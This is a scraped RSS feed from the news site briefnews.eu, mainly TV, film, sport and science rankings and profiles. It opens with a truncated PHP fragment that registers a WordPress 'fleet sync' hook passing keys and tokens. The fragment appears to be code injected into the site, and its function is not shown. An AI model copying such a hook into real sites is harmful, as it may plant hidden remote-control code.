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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); rank – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Sat, 28 Dec 2019 14:26:19 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png rank – Brief News https://briefnews.eu 32 32 SNL: TVLine Readers Rank Every Season 45 Episode, From Worst to Best https://briefnews.eu/snl-tvline-readers-rank-every-season-45-episode-from-worst-to-best/ https://briefnews.eu/snl-tvline-readers-rank-every-season-45-episode-from-worst-to-best/#respond Sat, 28 Dec 2019 14:26:19 +0000 http://briefnews.eu/snl-tvline-readers-rank-every-season-45-episode-from-worst-to-best/

Each weekend, we here at TVLine highlight the best and worst of what Saturday Night Live has to offer, before turning it over to you, our loyal readers, to weigh in on each episode. And with the late-night sketch comedy series currently on winter break (it returns on Saturday, Jan. 20 with host Adam Driver), we’ve decided to revisit how each of the previous Season 45 installments have fared, based on the average grade that you gave them.

Just how high does former cast member Eddie Murphy rate following his buzzed-about return to Mister Robinson’s Neighborhood? Did Harry Styles’ inaugural hosting stint wreck more than just Sara Lee’s Instagram comments? And what about Hustlers star Jennifer Lopez, who started off her episode in that infamous green Versace dress?

SNL‘s fall stretch has been well received compared to last year, when five out of nine episodes earned a maximum average grade of “C+” or lower. This time around, seven out of 10 episodes earned an average grade of “B” or higher. Meanwhile, one episode earned the highest grade of any episode that has aired in the past half-decade… while another episode earned the show its lowest grade in four seasons.

Peruse the attached gallery (or click here for direct access) to see how TVLiners ultimately ranked each SNL Season 45 episode from worst to best, then tell us if you’re surprised by any of the results. (We’ll update these rankings throughout the season, so bookmark this page and check back soon!)

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It’s been 15 years since Monica, Rachel et al. last headed out to Central Perk — but our favorite Friends have never really gone away.

In addition to myriad cast reunions, many of the stars of the beloved ’90s comedy — which aired its series finale on May 6, 2004 — have gone on to lead their own series. Some have been creative triumphs (think The Comeback, Cougar Town, Episodes), while others have gone the way of Mac and C.H.E.E.S.E.

Courteney Cox, Lisa Kudrow, Matt LeBlanc and Matthew Perry all returned to primetime within five years of Friends‘ conclusion. David Schwimmer, meanwhile, took a 12-year break before he signed on for The People v. O.J. Simpson: American Crime Story. The lone holdout has been Jennifer Aniston, who will soon star opposite Reese Witherspoon — aka Rachel’s sister Jill — in the Apple TV+ drama Morning Show.

In total, there have been over a dozen follow-ups headlined by the former castmates — and TVLine has ranked each and every one of them, beginning with the very worst. Excluded are any series where the actor involved was merely a guest star (such as Schwimmer’s recent arc on Will & Grace), as well as any unscripted endeavors (such as LeBlanc’s stint on Top Gear).

Browse the gallery below — you can click here for direct access — then hit the comments and tell us which follow-up project was your fave.

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]]> https://briefnews.eu/friends-the-one-where-we-rank-the-casts-best-worst-follow-ups-joey-cougar-town-people-v-o-j-and-more/feed/ 0 How consumers rank the top delivery services in the US — and how they stack up against the growing threat of Amazon (AMZN, FDX, USD) https://briefnews.eu/how-consumers-rank-the-top-delivery-services-in-the-us-and-how-they-stack-up-against-the-growing-threat-of-amazon-amzn-fdx-usd/ https://briefnews.eu/how-consumers-rank-the-top-delivery-services-in-the-us-and-how-they-stack-up-against-the-growing-threat-of-amazon-amzn-fdx-usd/#respond Tue, 11 Dec 2018 09:21:20 +0000 http://briefnews.eu/how-consumers-rank-the-top-delivery-services-in-the-us-and-how-they-stack-up-against-the-growing-threat-of-amazon-amzn-fdx-usd/ The transportation and logistics industry is undergoing a massive shift as a result of surging deliveries. Daily parcel volumes are higher than ever before — but so are customers’ expectations for cheap and fast fulfillment. 

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To keep up with mounting demand, retailers and their logistics partners have been racing to develop more efficient processes with experimental supply chain models like crowdsourced delivery — the Uber model in which customers use mobile apps to connect directly with local couriers for on-demand or same-day fulfillment.

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  • Digital trust is the confidence people have in a platform to protect their information and provide a safe environment for them to create and engage with content.
  • Business Insider Intelligence surveyed over 1,300 global consumers to evaluate their perception of Facebook, Twitter, Snapchat, Instagram, LinkedIn, and YouTube.
  • Consumers’ Digital Trust rankings differ across security, legitimacy, community, user experience, shareability, and relevance for the six major social networks.

If you feel like “fake news” and spammy social media feeds dominate your Internet experience, you’re not alone. Digital trust, the confidence people have in platforms to protect their information and provide a safe environment to create and engage with content, is in jeopardy.

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Nearly every week from late September through mid-May, we here at TVLine highlight the best and worst of what Saturday Night Live has to offer, before turning it over to you, our loyal readers, to grade each episode.

With Season 43 now behind us, we’re revisiting how each of the last 21 installments — featuring hosts Donald Glover, Tiffany Haddish, Sterling K. Brown, Gal Gadot and Ryan Gosling, among others — fared, based on the average grade that you gave them.

Just how high does John Mulaney rate after his star turn in a Lobster-ized Les Mis? What about Black Panther‘s Chadwick Boseman after his stint on Black Jeopardy? Or Natalie Portman after her return to gangsta rap?

Peruse the attached gallery above (or click here for direct access) to see how TVLiners ultimately ranked each SNL Season 43 episode from worst to best, then tell us if you’re surprised by any of the results.

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]]> https://briefnews.eu/snl-tvline-readers-rank-every-season-43-episode-from-worst-to-best/feed/ 0 Can Social Rank Impact Human Health? She Says Yes https://briefnews.eu/can-social-rank-impact-human-health-she-says-yes/ https://briefnews.eu/can-social-rank-impact-human-health-she-says-yes/#respond Thu, 29 Mar 2018 14:02:36 +0000 http://briefnews.eu/can-social-rank-impact-human-health-she-says-yes/ Jenny Tung first traveled to East Africa in 2006 to study the wild baboons of Amboseli, Kenya. She remembers being surprised at how big they were, noting, “They are so human to me.” Tung has returned every year since, adding to decades of detailed field observations about the primates’ social behavior, and bringing cutting-edge genomic tools to bear on the question: Do social relationships have a biological impact on health?

Now an associate professor of biology and evolutionary anthropology at Duke University, Tung is using novel genomic methods to shed light on the biology of how social bonds and social adversity affect our health and long-term survival. And in a world where inequality is ever increasing, her work is catching the attention of social scientists, economists and public policy researchers studying the origins of health disparities — with an eye toward mitigating them.

Tung’s work has brought her into contact with a new population of social scientists, health economists and public policy wonks. And sometimes, things get lost in translation.

In determining how long a person will live, it’s natural to ask: Do they smoke? Exercise regularly? Eat well? But another crucial question, says Tung, is whether someone is lonely or feels integrated. The link between social relationships and health is well known (people living alone have a mortality risk that’s 32 percent higher than those who do not), but it’s been hard to show whether there’s a direct causal connection between the two. For instance, a person who’s lonely might drink alcohol or eat lots of junk food, and the poor diet is destroying their health, not the lack of social interaction. Tung set out to establish whether that causal link between relationships and health exists and, if it does, what biological mechanisms account for it.

Tung, 36, is a second-generation Chinese-American, born and raised in Delaware; herfather, a retired chemical engineer, worked with DuPont, and her mother was a teacher before emigrating from Taiwan. Tung was planning a career in medicine until, as a freshman at Duke, she enrolled in a class on biological anthropology. At the end of her sophomore year, she did a research project on the Amboseli baboons with biology professor Susan Alberts, and she got hooked. The project began in 1971 when Jeanne and Stuart Altmann traveled to Kenya to study baboons’ genealogical relationships and social behavior. Tung’s vision was to integrate the Altmanns’ and others’ observational fieldwork with genetic studies. The project formed the basis of Tung’s undergraduate thesis and led to her doctoral work with Alberts and evolutionary genomicist Greg Wray. With a Ph.D. from Duke and a postdoc from the University of Chicago, Tung returned to Duke as a faculty member in 2012.

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Four years later, she and her colleagues with the Amboseli Baboon Research Project published a study showing that baboons who experience early life adversity — such as drought, low social rank of the mother, social isolation or loss of the mother — have significantly shorter life spans. In humans, early life adversity also contributes to poor health and a shortened life span, but it isn’t clear whether the cause is lack of access to health care, poor diet, drug use or other negative habits. For Tung, a clear advantage of studying non-human primates is the ability to control for negative health habits. She was thus able to show that the effects of adversity persist even when negative factors are removed, suggesting that adversity does in fact have a direct biological and physiological impact on one’s health and longevity.

Delving even deeper, Tung teamed up with Luis Barreiro, an associate professor at University of Montreal, and Mark Wilson, professor at Emory and researcher at Yerkes National Primate Research Center, to determine if social rank predicts gene activity in immune cells. Using novel genomic methods to study the function of many genes at once, they showed that higher-ranking monkeys had immune cells that dealt differently with a pathogen threat, while lower-ranking monkeys appeared more susceptible to chronic inflammation. What’s more, the researchers found that the effect is reversible: If a low-ranking animal gets moved to a group where it has a higher social rank, that change is reflected in the animal’s immune cells’ improved ability to fight off infections.

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Barreiro points out that Tung’s work is unique for “combining the more traditional, classical fieldwork with molecular biology and genomics techniques to get into the biology of what’s happening.” He also praised his partner’s thoroughness and rigor as a scientist, saying she’s been known to triple-check every figure and analysis to ensure accuracy.

But for UCLA psychoneuroimmunologist Steve Cole, an open question remains about the extent to which feelings of loneliness and belonging are similar in humans and non-human primates. “What kinds of feelings and experiences do we need people to have for them to feel like they are securely enmeshed in a social fabric … and that they are not just lone wolves on their own, struggling for survival in a big, harsh, competitive, hostile world?” he asks. “These differences in psychology may or may not pertain to these monkeys, but that’s one of the big questions we need to tackle in future research.”

For Tung, an evolutionary anthropologist attuned to the ways of primates, her work has brought her into contact with a new population of social scientists, health economists and public policy wonks. And sometimes, things get lost in translation. Tung recalls a conversation during her faculty job interview, when she interrupted an economist discussing SES to ask, “What’s SES?” She didn’t recognize the acronym for socioeconomic status, and was mortified. “They should’ve not hired me right then,” she jokes.But even if she’s occasionally pulled away from the lab, she’s excited to see the human relevance of her work brought to the fore — and to contribute to America no longer being a world leader in health inequality.

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Sorry City fans, though. This is not one of those occasions. Because as overpowering as Pep Guardiola’s blue machine was at Wembley, the Gunners only have themselves to blame for their rank humiliation.

The fact they do not have the first idea how to mount a properly regimented defence has long been known. But who suspected they would completely forget how to pass a football, too?

Indeed, if City were really on top of their game, this would have been an annihilation. As it was, it was only after half-time that they even bothered to turn to screw.

By that stage the game had already been handed to them on a plate by muddled thinking, poor execution and the type of schoolboy defensive horror-show which once again highlighted how Wenger has allowed his once Invincible army to rot from the core.

The foundations the Frenchman built his early success on were set in stone – the early pillars of Tony Adams, Martin Keown and Steve Bould carefully underpinned by the recruitment of Kolo Toure and Sol Campbell.

Since then it has been folly – in the true Victorian architectural sense. Too many embellishments and decorative whimsy, in the shape of attractive attacking midfielders. No attention to what it is which enables the whole edifice to stand up in the first place.

Which is why Arsenal took to the hallowed turf of Wembley built on the flimsy underpinning of Calum Chambers, Shkodran Mustafi and Laurent Koscielny.

The fact there were three of them – Wenger admits he prefers just two centre-back – was a sign of overdue panic at how vulnerable his creation can be. But however many pieces you put in there, they are no good if they don’t do their job. And none of them did.

How you get a World Cup medal allowing a goalkeeper’s boot upfield sale over your head as Mustafi did in the 18th minute is anybody’s business. You certainly don’t win a Carabao Cup gong, as from the moment Sergio Aguero held his ground, took the ball down and dinked it over David Ospina, the game had already gone from Arsenal.

They had started brightly enough in the eighth minute could even have taken a surprise lead – Aaron Ramsey poking the ball through to Mesut Ozil only for Kyle Walker to distract Pierre-Emerick Aubameyang’s low cross-cum-shot.

But once behind, Arsenal completely lost their ability to retain possession as City mobbed them at every turn. They tried to show they cared, by clattering into their opponents at every opportunity and City were happy to meet that fire with some of their own.

As a result, the first half was a scrappy and untidy affair, ill-fitting of a contest between two sides whose managers are considered the greatest aesthetes in the beautiful game. But frankly that was no concern for Guardiola.

He had been locked in a long conversation with Wenger immediately after the opening goal that ended in a handshake and a pat on the back. It was mutual respect, but the City manager must have sensed that the battle was already being won.

Arsenal were sent out a good two minutes ahead of their opponents but it was City who were quickest on to the front foot and they seemed to have taken the extra moment or two to shift up a gear.

Inevitably, there was a Claudio Bravo moment to survive – the City goalkeeper always seems to have at least one calamity in him and thankfully for him Aubameyang could not take advantage when he rushed from his goal to completely miss his kick.

Four minutes later it really was all over. If the opening goal was a pathetic piece of individual defending, this was an abject collective abomination.

Kevin De Bruyne side-footed a corner to Ilkay Gundogan on the edge of the Arsenal area without a challenge in sight and his shot was redirected by Kompany to wrong-foot Ospina and double the lead.

The third was only a matter of when, not if. Chambers, in his last horror-show before being unceremoniously withdrawn, was spun round in a circle by David Silva, who chose the 64th minute to open finally his EFL Cup account for the club.

Enough was enough, it seemed. City retreated into their shells ahead of a rematch on Thursday – one they can enter in full expectation of a similar superiority. Sadly for Arsenal, that gap in class is palpable.

This will not be the biggest trophy Guardiola will win at City. He could still land two bigger pots even this season.

But as the gold ticker-tape swamped the City players moments after their Arsenal counterparts stumbled up the steps for their loser’s medals, one cannot imagine Wenger ever seeing success here again.

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Yesterday, we began our journey of ranking every single Godzilla movie from worst to best. Today, we reach the grand finale: the 15 best movies starring the King of the Monsters.

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15. Godzilla 2000 [1999] 

The first entry into the Millennium Series is awesome spectacle, if still a standard Godzilla movie. Godzilla 2000 scores big points for showcasing one of the weirdest opponents Big G has ever faced: Orga. The thing from another planet starts the movie as a UFO, before swiping DNA from the King of Monsters’ skin and transmuting into its own oversized kaiju form (seriously, this thing is MASSIVE). Possibly cooler is Godzilla’s upgraded design, as he’s all scales and spikes, ready to decimate anything that crosses his path. After the abomination that was Roland Emmerich’s American remake, Godzilla 2000 was a breath of fresh air for fans, as Toho was willfully rejecting the perversion of their greatest icon, leaning into the destructive nature of his design.

Best Instance of Utter Destruction: Orga tries to eat Godzilla! It’s one of the craziest scenes in any kaiju movie, as the alien deploys an orifice that expands and then wraps around the head of a bewildered Big G. Thankfully, Godzilla charges up his atomic breath, and manages to scorch his way out of his opponent’s new mucus-painted opening. Talk about burning your mouth on a hot piece of food.

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14. Shin Godzilla [2016, AKA Godzilla Resurgence]

Here’s the thing about Shin Godzilla: it’s a great fucking movie, but (like the ’14 American Godzilla revival), it’s not necessarily the best Godzilla film. Where Edwards’ Godzilla was concerned with human egocentrism in the face of a global, ecological disaster, Shin Godzilla focuses on the bureaucratic behind the scenes workings of a government trying to deal with the same ecological calamity. It’s funny, when paired together, the two make for fascinating flipsides to a coin, while almost making the actual monster attacks an afterthought. The main difference between Shin Godzilla and Edwards’ Godzilla: the onscreen destruction is some of the best and most realistic the franchise has ever seen. This red-chested mammoth is a shocking force, ready to level all structures in his path. Even better, the evolution of this iteration of Big G is a marvel, going from aquatic terror to biped beast before our eyes.

Best Instance of Utter Destruction: Godzilla’s atomic breath in Shin Godzilla progresses in one scene from city leveling holocaust to building cutting laser beam, and its an amazing mixture of scale and SFX, making you truly believe that this modern Godzilla is the scariest possible version of the kaiju. There’s nothing cute and cuddly here, as his dead white eyes roll over, and Hell is unleashed from his belly.

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13. King Kong vs. Godzilla [1962] 

In terms of vs. episodes, this should’ve been the one to top them all – a meeting of two iconic forces from opposite sides of the planet, ready to maul one another for supreme domination and the title of King Kaiju. Their throw down does not disappoint, as the battle is extended and brutal. Godzilla is presented as an evil harbinger of death; King Kong his primal adversary. Funnily enough, neither win, as they go tumbling off the side of a cliff, only to see Kong swim away. Why there was never a rematch is beyond this writer, and a longstanding myth has maintained that there’s a lost Japanese cut somewhere, sporting a retooled ending where the King of Monsters retains his titled. I call bullshit.

Best Instance of Utter Destruction: King Kong is dropped in by balloon, tumbles down the side of a hill, and knocks Godzilla out at the knees. Knowing he’s in trouble if he doesn’t get to higher ground, Kong scurries up the slope’s side, stomping a series of small huts as he goes. All the while, he looks back over his shoulder, knowing Godzilla’s coming, and he’s not pleased.

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12. Godzilla vs. Monster Zero [1965, AKA Invasion of the Astro-Monster] 

Probably the most straight up science fiction entry from the early years, Monster Zero involves full on space travel for King G. Godzilla is also positioned as the good guy, as he and Rodan are summoned to a recently discovered planet to help ward off the indigenous people’s oppressor, who turns out to be none other than Ghidorah. But the tables are turned when it’s discovered that these extraterrestrials were not in danger at all – they summoned two of our favorite kaiju as part of a nefarious plot to destroy earth. They psychically control the three monsters and unleash them on humanity, hoping to wipe us all out. Do they succeed? Of course not. But it’s a hell of a lot of fun to watch them try.

Best Instance of Utter Destruction: Godzilla dance so good! That’s right, after launching himself at Ghidorah, tackling him to the ground, and doing enough damage that the three-headed golden god flies away, King G does a silly jig, hopping up and down, alternating his hands behind his big green head. You’ll want to integrate his moves into your repertoire for the next wedding you attend.

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11. Terror of MechaGodzilla [1975] 

The direct sequel to Godzilla vs. MechaGodzilla is real hero’s journey for the King of Monsters, allowing him to square off against multiple enemies on his quest to vanquish the robotic clone of himself. Even better is the introduction of a brand new amphibious kaiju, Titanosaurus. Controlled by Professor Mifune (get it?), Titanosaurus is meant to rid the world of Godzilla, towering over our favorite creature with his overly long neck.  Honda’s return to the series is a triumphant affair, letting the now iconic kaiju he created with the original become a source of inspiration for all sitting in the audience. This is best viewed through the lens of “Godzilla as game show contestant”; as Toho continued to toss more adversaries at Big G, he bested them all.

Best Instance of Utter Destruction: Godzilla’s entrance in Terror of MechaGodzilla is legitimately godlike, as he blasts Titanosaurus from stage left. Honda then cuts to Big G, cuing his theme up and giving him an introduction like a beloved character on a hit sitcom. He’s back everybody, get ready to cheer and be amazed.

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Take a minute to picture Godzilla in your head. What do you see?

For many, the image is elementary — men in elastic monster suits brawling with one-another amidst a shoddily built train set, stepping on miniature cars willy-nilly in the hopes of conveying a sense of obliteration on an apocalyptic scale. To the average moviegoer, King G is an icon of combative campiness; a monolithic figure akin to a green Hulk Hogan, wrestling other goofy kaiju for 90 minutes while tiny people point and scream “the monster is attacking the city!” 

Like most successful franchise front-men, the magnitude of Godzilla’s first appearance has been diluted by subsequent sequels, to the point that many now overlook the iconic monster’s original metaphorical meaning: a walking mushroom cloud, the otherworldly symbol of holocaust. Ishir? Honda’s colossal work of Japanese filmmaking still stands as one of the greatest filmic responses to the psychosomatic suffering caused by war, ranking with Stanley Kubrick’s Dr. Strangelove as a defining piece of pop art derived from the utter devastation of the nuclear bomb.

Yet that doesn’t mean there isn’t a ton of enjoyment to be mined from the franchise. Just the opposite, in fact. Recently, the Criterion Collection bought the rights to many of Godzilla’s sillier franchise entries, and last year’s Shin Godzilla proved that there was still dramatic weight to be considered when bringing the big guy back to the big screen. So, with that in mind, it seemed like as good a time as ever to present you with the entire series, ranked from worst to best, acting as a guide to your kaiju viewing pleasure. Because there’s a lot of Godzilla out there to consume, and you’re gonna need some help deciding which chapters to devour first…

(Note: This is part one of a two-part series. The second chapter, the sequel if you will, will arrive tomorrow.)

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 31. Godzilla [1998, American Remake]

If it looks nothing like a Godzilla movie, sounds nothing like a Godzilla movie, and doesn’t really feature Godzilla himself, is it a Godzilla movie? Survey says “no”, but Roland Emmerich’s American remake of Godzilla still belongs on this list, as it’s a noble attempt to reboot the beast for American audiences, even if it gets just about everything wrong, from the titular monster on down. In fact, this movie’s Godzilla is so much weaker than the OG – from his gelatinous CGI shape to his lack of atomic breath – that Toho Studios doesn’t even recognize Emmerich’s iteration as the same animal, rebranding it “Zilla” in the creature’s motherland, as to avoid any confusion with the one true King.

Best Instance of Utter Destruction: Here’s how weak ‘Zilla’s onscreen presence is – his own death, in a different movie (Godzilla: Final Wars [‘04]), is his best moment. Six years after Emmerich’s movie was released, the American knock-off would be obliterated by Actual Godzilla™, his cameo fight not even lasting a whole minute. A total disappointment, but also a great “fuck you” from one country to another, as Japan demonstrated how they will not abide us jacking up one of their greatest pop icons.

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30. Son of Godzilla [1967] 

Oh, Minilla. The goofball son of Godzilla is a nightmare creature, with this tiny tennis ball head and a dopey voice (which he’ll eventually use to speak English in Godzilla’s Revenge [‘69]). But how can we blame him for being so terrible? His dad just lets him lumber about and get his ass kicked on a regular basis, never really paying his spawn any mind. It’s kind of hilarious, at times, as we receive a lesson in kaiju parenting, showing us that coming up in the shadow of the world’s greatest monster includes quite a few hard knocks. This one’s certainly “for the kids”, and your mileage will vary depending on how much patience you have for/humor you find in Godzilla’s abusive child-rearing.

Best Instance of Utter Destruction: Not so much “utter destruction”, but there’s a funny little moment where Godzilla is trying to teach his son how to use his atomic breath, only to get frustrated by his dummy kin. So, instead of being patient and understanding, King G throws a temper tantrum of his own and stomps on the boy’s tail. That’ll learn him.

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29. Godzilla Raids Again [1955] (AKA Gigantis, The Fire Monster)

America made a habit out of fucking up the King of the Monsters throughout the years – for starters, just look at the Raymond Burr-starring English redux of the original. Inexplicably renaming the movie Gigantis, The Fire Monster (we weren’t as into IP then as we are now, apparently) even though it was only the second Godzilla movie ever made, the initial sequel squares King G off against another big bad beast for the first time. Where Ishirô Honda was using the kaiju to make a social comment about post-war Japan and the hellish consequences of nuclear fallout, Godzilla Raids Again is pure schlock: going for the entertainment jugular with a fast, cheap, and out of control installment that would become a template for most of the episodes moving forward. Unfortunately, the kaiju on kaiju violence is clunky and poorly choreographed, never once resembling an all-out brawl, but rather two oversized cats pawing at one another. Like all tasty treats, the recipe would be perfected over time and many mistakes.

Best Instance of Utter Destruction: The introduction of Anguirus, whose spiky shell and screeching yell sound like a record running in reverse on the wrong RPM setting. While he’s the antagonist in Godzilla Raids Again, Anguirus would go on to become one of Godzilla’s most trusted associates; a far cry from the nuisance he’s presented as here.

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28. Godzilla vs. SpaceGodzilla [1994] 

Just like in any other long-running franchise, there are moments during Godzilla’s many iterations where it feels like everyone involved just sort of gave up trying (also referred to as the “Diamonds Are Forever Scenario”). During the Heisei Era (’84 – ’95), villains were usually just offshoots of the monster himself – experiments performed with the King’s DNA, resulting in an opposing beast that’s essentially just Godzilla, But Not™. “SpaceGodzilla” is probably the best example of this – looking like Gary Glitter rolled out of bed and then tossed on a kaiju suit with some sparkly shoulders. Godzilla vs. SpaceGodzilla also has the audacity of introducing M.O.G.U.E.R.A., who’s basically MechaGodzilla, But Not™. Many fans love the bright silly sheen that coat these ‘90s entries, but this episode is just sort of dull and uninspired to its core.

Best Instance of Utter Destruction: To be fair, Godzilla vs. SpaceGodzilla has the best moment of “shoot ‘im again, dragon” in the whole series, as Godzilla ices SpaceGodzilla, and then keeps blasting him with atomic breath until he explodes into a gigantic fireball. Cool out, champ. You got this one.

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27. Godzilla’s Revenge [1969, AKA All Monsters Attack]

While it’s almost universally accepted that Godzilla’s Revenge is the “worst” Godzilla movie by enthusiasts, there’s an audacious “so bad it’s good” element to the proceedings that makes it endlessly watchable. Young Minilla now speaks English in an impaired accent, acting more like a child-friendly Muppet than a terrifying, city stomping monster beyond human comprehension. Minilla’s sidekick is his inventor, as the kaiju in Godzilla’s Revenge aren’t even technically “real”, but the creation of a daydreaming tot. To be fair, much of the Showa Series (‘54 – ‘75) was aimed at kids with their heads in the clouds, so the silly tone is easily explained (if still not justified). You just wonder why Toho wouldn’t gift children a new set of monster fights to go along with this weirdness, as most of the brawls are comprised of recycled footage from other films. Neglectful, really.

Best Instance of Utter Destruction: Any time Minilla talks, your face will be destroyed from laughing so hard. This writer usually despises any sort of “so bad its good” ironic consumption, but it’s difficult to judge anyone mining joy from something this ridiculous.

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26. The Return of Godzilla [1984, AKA Godzilla 1985] 

The Heisei Series of Godzilla pictures was introduced by this Return, which brought along better production value and SFX than its predecessors. It also acts as a kind of grim reboot for the franchise, redoing Honda’s original, only updating the political backdrop from post-WWII to the Cold War. While admirable in ambition (attempting to restore a more “serious” Godzilla), this movie isn’t really that fun to sit through, even though it’s probably the coolest Big G has looked since the B&W days.

Best Instance of Utter Destruction: The way Godzilla is taken out here is powerful, as mournful orchestration is laid over the King of Monsters’ headfirst plummet into a massive volcano. Shadows surround the beast as he tumbles forward, screaming like a weeping child. While The Return of Godzilla may not be very fun, serious Godzilla fans will certainly feel a pang of sadness as this chapter comes to a close.

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Nearly every week from late September through mid-May, we here at TVLine highlight the best and worst of what Saturday Night Live has to offer, before turning it over to you, our loyal readers, to grade each episode.

And with SNL taking the next three weekends off before returning with host Sam Rockwell on Jan. 13, we’ve decided to revisit how each of the previous Season 43 episodes have fared, based on the average grade that you gave them.

Just how high does Ryan Gosling rate after single-handedly saving jazz? Does Tiffany Haddish’s hosting stint come in lower than you’d expect? And what about Gal Gadot after her Wonder-ful kiss with Kate McKinnon?

Peruse the attached gallery above (or click here for direct access) to see how TVLiners ultimately ranked each SNL Season 43 episode from worst to best, then tell us if you’re surprised by any of the results. (And yes, we will update the rankings again before season’s end, so check back soon.)

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